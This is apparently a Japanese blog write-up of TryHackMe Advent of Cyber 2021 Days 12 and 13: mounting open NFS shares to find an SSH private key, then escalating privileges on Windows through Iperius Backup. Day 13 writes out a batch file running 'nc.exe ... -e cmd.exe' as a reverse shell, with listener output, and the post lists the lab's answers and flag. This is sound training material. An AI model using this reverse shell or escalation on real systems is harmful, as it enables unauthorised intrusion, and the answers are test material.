【TryHackMe】Advent of Cyber3 (2021)を続けてみた Day12, 13

# Welcome to Advent of Cyber 2021
クリスマスまでの25日間、毎日基本的な知識を学び、初心者向けの新しいセキュリティ演習を行うことで、サイバーセキュリティを始めることができます。

https://tryhackme.com/room/adventofcyber3

# day12
ネットワークファイルシステム（NFS）は、異なるコンピューター間でファイルを転送する機能を可能にするプロトコルです。
NFSサービスがリッスンしていることがわかったので、共有されているファイルを確認しましょう。

```
┌──(kali㉿kali)-[~]
└─$ showmount -e 10.10.228.187
Export list for 10.10.228.187:
/share        (everyone)
/admin-files  (everyone)
/my-notes     (noone)
/confidential (everyone)
```

発見したシェアをマウントしてみましょう。
まず、ローカルに`tmp1`を作成します。そのあと、`mount`コマンドを使用します。このとき`sudo`を忘れないようにしましょう。

```
┌──(kali㉿kali)-[~]
└─$ sudo mount 10.10.228.187:/share tmp1
```

`md5sum`コマンドを使用してハッシュ値を求める。ファイルやデータの中身が一つでも違うと全く違ったハッシュ値となるため、ファイルの偽造防止などに使われる。

```
┌──(kali㉿kali)-[~]
└─$ md5sum id_rsa
3e2d315a38f377f304f5598dc2f044de  id_rsa
```

# Answer
Scan the target server with the IP MACHINE_IP. Remember that MS Windows hosts block pings by default, so we need to add -Pn, for example, nmap -Pn MACHINE_IP for the scan to work correctly. How many TCP ports are open?
<font color="White">7</font>
In the scan results you received earlier, you should be able to spot NFS or mountd, depending on whether you used the -sV option with Nmap or not. Which port is detected by Nmap as NFS or using the mountd service?
<font color="White">2049</font>
How many shares did you find?
<font color="White">4</font>
How many shares show “everyone”?
<font color="White">3</font>
What is the title of file 2680-0.txt?
<font color="White">XMeditations</font>
It seems that Grinch Enterprises has forgotten their SSH keys on our system. One of the shares contains a private key used for SSH authentication (id_rsa). What is the name of the share?
<font color="White">confidential</font>
We can calculate the MD5 sum of a file using md5sum FILENAME. What is the MD5 sum of id_rsa?
<font color="White">3e2d315a38f377f304f5598dc2f044de</font>

# day13
学習目標は以下３つです。

- Windowsのさまざまな種類のユーザー権限を理解する
- さまざまな特権昇格テクニック
- 特権昇格の脆弱性を悪用する

RDPします。

```
┌──(kali㉿kali)-[~]
└─$ xfreerdp /u:mcskidy /p:Password1 /w:1366 /h:768 +fonts +clipboard /v:10.10.68.49
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/05249970-80f6-eeb1-dcb4-38a100495caa.png)

## 初期情報収集

`net users` : ターゲットシステム上のユーザーを一覧表示します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/5cf4f267-2552-0a12-815a-fb8a55fd2cd7.png)

`systeminfo | findstr /B /C:"OS Name" /C:"OS Version"` : オペレーティングシステムに関する情報を出力します。これは、このバージョンに特権昇格の脆弱性が存在するかどうかをさらに調査するために使用する必要があります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/55bf0079-01e8-6c1c-67cc-ab6df7b02664.png)

`sc query state= all | findstr /C:SERVICE_NAME /C:DISPLAY_NAME /C:STATE` : ターゲットシステムにインストールされているサービスを一覧表示します
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/ba9e6a0f-6233-508a-6793-e671a4565d02.png)

`wmic service <サービス名> get DisplayName,name,PathName`: Pathとかも分かる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/53367d56-726f-3dd3-833f-6e183ff10c1f.png)

Iperius Backup Serviceには、特権昇格の脆弱性があります。Iperius Backupをサービスとしてインストールすると、現在のユーザーの特権レベルが低い場合でも、管理者特権でバックアップタスクを実行するように構成できます。

1. 新しいバックアップタスクを作成します。タスク自体は重要ではありません。バックアップパスはC：\ Users \ McSkidy \ Documentsとして設定できます

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/c9c95aca-e79d-64a2-66f6-13d11514c7e0.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/0be82554-ab1b-33a9-546b-b81235f4d51d.png)

6.1.0であることが分かったので、exploitコードがないか探します。（Iperius Backup Serviceには、特権昇格の脆弱性があります。）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/fb066b7c-8cf5-8609-2371-af0431cf57c8.png)

2. 宛先の設定：[宛先]タブから、バックアップが書き​​込まれる場所を設定できます。繰り返しますが、これは重要ではありません。C：\ Users \ McSkidy \ Desktopに設定できます

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/2a00f770-fdf1-4212-96d5-26912f3cf0af.png)

3. その他のプロセス：[その他のプロセス]タブは重要です。ご覧のとおり、これにより、すべてのバックアッププロセスの前または後に実行するようにプログラムを設定するオプションが提供されます。バックアッププロセスは管理者権限で実行されるため、ここで構成されたプログラムまたは外部ファイルはすべて管理者権限で実行されます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/9684c1c0-3f2d-ee68-8e71-fe5b20411bde.png)

これを悪用するために、単純なbatファイルを作成し、バックアップの前に実行するように設定します。
.batファイルは、nc.exeユーティリティ（便利なC：\ Users \ McSkidy \ Downloads \ nc.exeにあります）を使用してシェルを起動します。メモ帳のテキストエディタを起動し、次のコード行を入力します。

```
@echo off
C:\Users\McSkidy\Downloads\nc.exe <自分IP> <port> -e cmd.exe
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/9703e88f-086b-179f-24c9-155aa690efd7.png)
上記のファイルを`exploit.bat`として保存します。

4. リスナーを起動します。exploit.batファイルはcmd.exeを起動し、ポート5555で自分のマシンに接続し直します。この着信接続を受け入れる準備ができているリスナーが必要です。 `nc`を使用して、攻撃しているマシンで起動します `nc -nlvp 5555`

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
```

5. サービスとして実行：以前に作成した「ドキュメント」バックアップジョブを右クリックし、「サービスとしてバックアップを実行」オプションを選択します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/1f9329a1-1397-3698-219c-036f6565373b.png)

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.8.251.120] from (UNKNOWN) [10.10.68.49] 50109
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\Iperius Backup>whoami
the-grinch-hack\thegrinch

C:\Program Files (x86)\Iperius Backup>
```

これでシェルをとりました。

```
C:\Program Files (x86)\Iperius Backup>whoami
whoami
the-grinch-hack\thegrinch
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/af4801c4-c799-add0-7b7f-1cc6d39d38cd.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/d1f571f2-6caf-bc03-5c68-0cd4453432e3.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/fd95a153-a4bf-f14e-6963-5b874241a936.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/dfffbda6-99ab-66cd-9813-29e8bd379fa8.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/e2630942-3420-c339-babf-28c47dfeb63f.png)


# Answer
Complete the username: p.....
<font color="White">pepper</font>
What is the OS version?
<font color="White">10.0.17763 N/A Build 17763</font>
What backup service did you find running on the system?
<font color="White">IperiusSvc</font>
What is the path of the executable for the backup service you have identified?
<font color="White">XC:\Program Files (x86)\Iperius Backup\IperiusService.exe</font>
Run the whoami command on the connection you have received on your attacking machine. What user do you have?
<font color="White">the-grinch-hack\thegrinch</font>
What is the content of the flag.txt file?
<font color="White">THM-736635221</font>
The Grinch forgot to delete a file where he kept notes about his schedule! Where can we find him at 5:30?
<font color="White">jazzercize</font>